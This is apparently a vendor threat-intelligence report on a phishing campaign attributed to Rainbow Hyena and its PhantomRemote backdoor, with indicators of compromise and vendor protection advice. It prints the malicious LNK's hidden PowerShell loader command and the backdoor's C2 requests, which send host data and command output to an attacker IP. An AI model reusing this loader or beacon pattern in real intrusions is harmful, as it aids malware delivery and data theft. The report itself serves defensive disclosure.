Rainbow Hyena strikes again: new backdoor and shift in tactics

A new phishing campaign targeted healthcare and IT organizations. The hacktivists were using polyglot and LNK files mimicking legitimate documents to evade detection

In late June, BI.ZONE Mail Security detected a wave of phishing emails with malicious attachments distributed among Russian companies. The campaign targeted healthcare and IT organizations. The adversaries used compromised email addresses of legitimate organizations to send these messages.

After thorough analysis of the malicious files, BI.ZONE Threat Intelligence concluded that the attacks were carried out by the Rainbow Hyena cluster. We also identified a new tool in the threat actor’s arsenal — a custom-built backdoor PhantomRemote.

Adversaries often send phishing emails impersonating major or well‑known organizations or reference them for credibility. The stronger a brand, the more likely threat actors are to exploit its identity. Recognizable logos and other branding elements make phishing emails appear more authentic, prompting victims to open them. It is important to remember that the brands cannot be liable for the actions of criminals and associated damage.

Key findings

• Attackers use masquerading techniques, such as polyglot files*, to increase their chances of bypassing email filters and successfully delivering phishing emails.
• The distribution of malicious documents has largely been abandoned in favor of alternative formats like LNK files.
• Hacktivist groups are increasingly shifting toward more conventional illicit activities such as espionage and financial gain while adopting more sophisticated methods and tools.

*Multi-format files that adapt to the application used to open them

Campaign

The adversaries used legitimate addresses of compromised organizations to distribute phishing emails with subject lines such as Транспортная накладная ТТН №391–44 от 26.06.2025 and Договор РН83–371 (Waybill WB №391–44 dated June 26, 2025, and Contract PH83–371, respectively).

The messages included .zip polyglot attachments, which were PE32+ DLLs (dynamic link libraries) concealing a decoy and a ZIP archive with an LNK file.

Phishing email

The LNK file within the ZIP executes the following sequence:

• Searches for a .zip polyglot file:
  - in the current execution directory
  - recursively in the %USERPROFILE% directory
  - recursively in the %TEMP% directory
• Executes the detected polyglot file via rundll32.exe, calling the exported EntryPoint function.
• Extracts a decoy from the polyglot file by reading a certain number of bytes with a specific offset, then saves the decoy to %TEMP%.
• Opens the decoy via cmd /c start.

Here is a command example from Договор_РН83_37_изменения.pdf.lnk:

powershell.exe -WindowStyle hidden -c "$r=$(Get-Location).Path + '\Договор_РН83_37_изменения.zip';if(Test-Path $r) { rundll32.exe $r,EntryPoint; } else { $f=$(Get-ChildItem -Path '%userprofile%' -Recurse -Filter'Договор_РН83_37_изменения.zip' | Select-Object-First 1); if($f) { $r=$f.FullName; rundll32.exe$f.FullName,EntryPoint; }; };if(-Not (Test-Path $r)) { $r=$(Get-ChildItem -Path '%temp%' -Recurse -Filter"Договор_РН83_37_изменения.zip" | Select-Object -First 1).FullName; }; [System.IO.File]::WriteAllBytes([System.IO.Path]::Combine('%temp%', 'Договор_РН83_37_изменения.pdf'), ([System.IO.File]::ReadAllBytes($r) | Select-Object -Skip 1107968 -First 3280549)); cmd /c start /B$([System.IO.Path]::Combine('%temp%', 'Договор_РН83_37_изменения.pdf'));

Contents of decoy Транспортная_накладная_ТТН_№391-44_от_26.06.2025.xls

PhantomRemote backdoor is a PE32+ DLL file created in C++. The backdoor collects information about the compromised system, loads other executables from the C2 server, and runs commands via the cmd.exe interpreter.

The malicious code is concealed within DllMain. The exported EntryPoint function checks the value of a global variable. If the value is 1, the function enters an infinite loop, repeatedly calling Sleep() for 5 seconds.

PhantomRemote collects information and creates a dedicated working directory for loaded additional files. The backdoor performs the following sequence:

• Retrieves GUID via CoCreateGuid(). In case of a failure, inserts the UNKNOWN line.
• Obtains a computer name via GetComputerNameW(). In case of a failure, inserts the UNKNOWN line.
• Retrieves a domain name via GetComputerNameExW(ComputerNameDnsDomain). In case of a failure, inserts the UNKNOWN line.
• Creates a working directory in %PROGRAMDATA%. In PhantomRemote samples, this directory is named either %PROGRAMDATA%\YandexCloud or %PROGRAMDATA%\MicrosoftAppStore.

After collecting initial information about the compromised system, the backdoor establishes a connection with the C2 server. The communication is carried out over HTTP, using GET and POST requests. The malware generates a GET request and accesses a URL in the following format:

91.239.148[.]21/poll?id=<GUID>&hostname=<PC_NAME>&domain=<domain>

This URL is used to transmit the compromised system data collected by PhantomRemote.

A GET request may look as follows:

GET poll?id=<GUID>&hostname=<PC_NAME>&domain=<domain> HTTP/1.1

Host: 91.239.148[.]21

User-Agent: YandexCloud/1.0

During communication with the C2 server, the backdoor uses the User-Agent header strings YandexUpdate/1.0 or MicrosoftAppStore/2001.0.

After the initial network request to the C2 server, PhantomRemote can receive the following commands:

After executing a command, PhantomRemote sends a response in the form of a POST request to the C2 server:

POST /result HTTP/1.1

Host: 91.239.148[.]21

User-Agent: YandexCloud/1.0

Content-Type: application/x-www-form-urlencoded


id=<GUID>&hostname=<PC_NAME>&domain=<domain>&result=<cmdOutput>&commandId=<commandID>

If a C2 command is to download a file from the specified URL, there are two possible outcomes:

1. If the download is successful, the following response is sent to the C2 server:

POST /result HTTP/1.1

Host: 91.239.148[.]21

User-Agent: YandexCloud/1.0

Content-Type: application/x-www-form-urlencoded


id=<GUID>&hostname=<PC_NAME>&domain=<domain>&result=Download successful: %PROGRAMDATA%\YandexCloud\<filename>&commandId=<commandID>

2. If the download fails, the following response is sent:

POST /result HTTP/1.1

Host: 91.239.148[.]21

User-Agent: YandexCloud/1.0

Content-Type: application/x-www-form-urlencoded


id=<GUID>&hostname=<PC_NAME>&domain=<domain>&result=Download failed: <URL>&commandId=<commandID>

After executing the commands, the backdoor invokes Sleep() for 10 seconds. If any stage of the connection process fails, the malware instead invokes Sleep() for 1 second.

Indicators of compromise

PhantomRemote

Договор_РН83_37_изменения.zip

75a26a138783032ee18dcfc713b1b34c
04d364d7cc98379352e89757d62521271cb410cb
ed9b24a77a74cd34c96b30f8de794fe85eb1d9f188f516bd7d6020cc81a86728

Договор_РН83_изменения.zip

7e52be17fd33a281c70fec14805113a8
6942e07e7d08781cba571211a08e779838e72e9a
204544fc8a8cac64bb07825a7bd58c54cb3e605707e2d72206ac23a1657bfe1e

Транспортная_накладная_ТТН_№391-44_от_26.06.2025.zip

be990a49fa1e3789ebc5c55961038029
851157c01da6e85ffa94ded7f42cab19aa8528d6
01f12bb3f4359fae1138a194237914f4fcdbf9e472804e428a765ad820f399be
b586cf958334415777719bf512304fbd
775b7e726ba6cf6d9a6463a62797c97612018066
4c78d6bba282aaff0eab749cfa8a28e432f7cbf9c61dec8de8f4800fd27e0314

Договор_РН83_изменения.zip

65967d019076e700deb20dcbc989c99c
49a18dc1d8f84394d3373481dbac89d11e373dbd
413c9e2963b8cca256d3960285854614e2f2e78dba023713b3dd67af369d5d08
b49a7ef89cfb317a540996c3425fcdc2
d9a4fd39a55cd20d55e00d3cace3f637b8888213
b683235791e3106971269259026e05fdc2a4008f703ff2a4d32642877e57429a

LNK

Договор_РН83_37_изменения.pdf.lnk

698337a1be374f3ebb9556ccdc794389
dc149c042747ddf4f58c7ac6bf23e6a02ce1fc77
e3e3f7d9abb9696904684d8e32f36818e1939c8122dcc73299a1b7f6b6b700b2

Транспортная_накладная_ТТН_№391-44_от_26.06.2025.xls.lnk

88453eb954669b5c7ac712ecf1e0179c
2a14a9dd1032479ab5bf8ed945ef9a22ebd4999d
4d4304d7ad1a8d0dacb300739d4dcaade299b28f8be3f171628a7358720ca6c5

Договор_РН83_изменения.pdf.lnk

08a92ba1d1d9e5c498dcaf53af7cd071
c52d70b92e41db70d4ca342c8dc32eff7883c861
a9324a1fa529e5c115232cbbc60330d37cef5c20860bafc63b11e14d1e75697c

Decoys

%TEMP%\Договор_РН83_37_изменения.pdf

1dff0bcf719f3509c597a8955e49af38
4ce5e6e0b21323409db8cd8ed2a7ed251656d18a
47262571a87e70238bd6afd376560e9cfdc94bfacae72f36b6aa9fb6e769eb9c

%TEMP%\Договор_РН83_изменения.pdf

1dff0bcf719f3509c597a8955e49af38
4ce5e6e0b21323409db8cd8ed2a7ed251656d18a
47262571a87e70238bd6afd376560e9cfdc94bfacae72f36b6aa9fb6e769eb9c

%TEMP%\Транспортная_накладная_ТТН_№391-44_от_26.06.2025.xls

9f8e2e09e37142a21c16b37ba310e009
efe10ad0b49e6889597b5c3254139b92ed72064c
da53c49641b05e00cde09d47260da927ec403f01ac388605b785eac98306f9c2

IP addresses (PhantomRemote C2)

185.225.17[.]104
188.127.254[.]44
91.239.148[.]21

MITRE ATT&CK

How to protect your company from such threats

Phishing is one of the most popular attack vectors against organizations. You can leverage dedicated services such as BI.ZONE Mail Security to filter out unwanted messages and protect your email communications. The solution carefully examines every incoming message to identify and block illegitimate content. BI.ZONE Mail Security uses over 600 filtering mechanisms based on machine learning, statistical, signature, and heuristic analysis. This kind of inspection does not slow down the delivery of secure emails.

Attacks similar to those by Rainbow Hyena are not only critical to detect but also to neutralize before they affect the infrastructure. To protect your company against advanced threats, we recommend implementing endpoint detection and response practices, for instance, BI.ZONE EDR. The service enables early detection of attacks and immediate incident response, either automated or manual.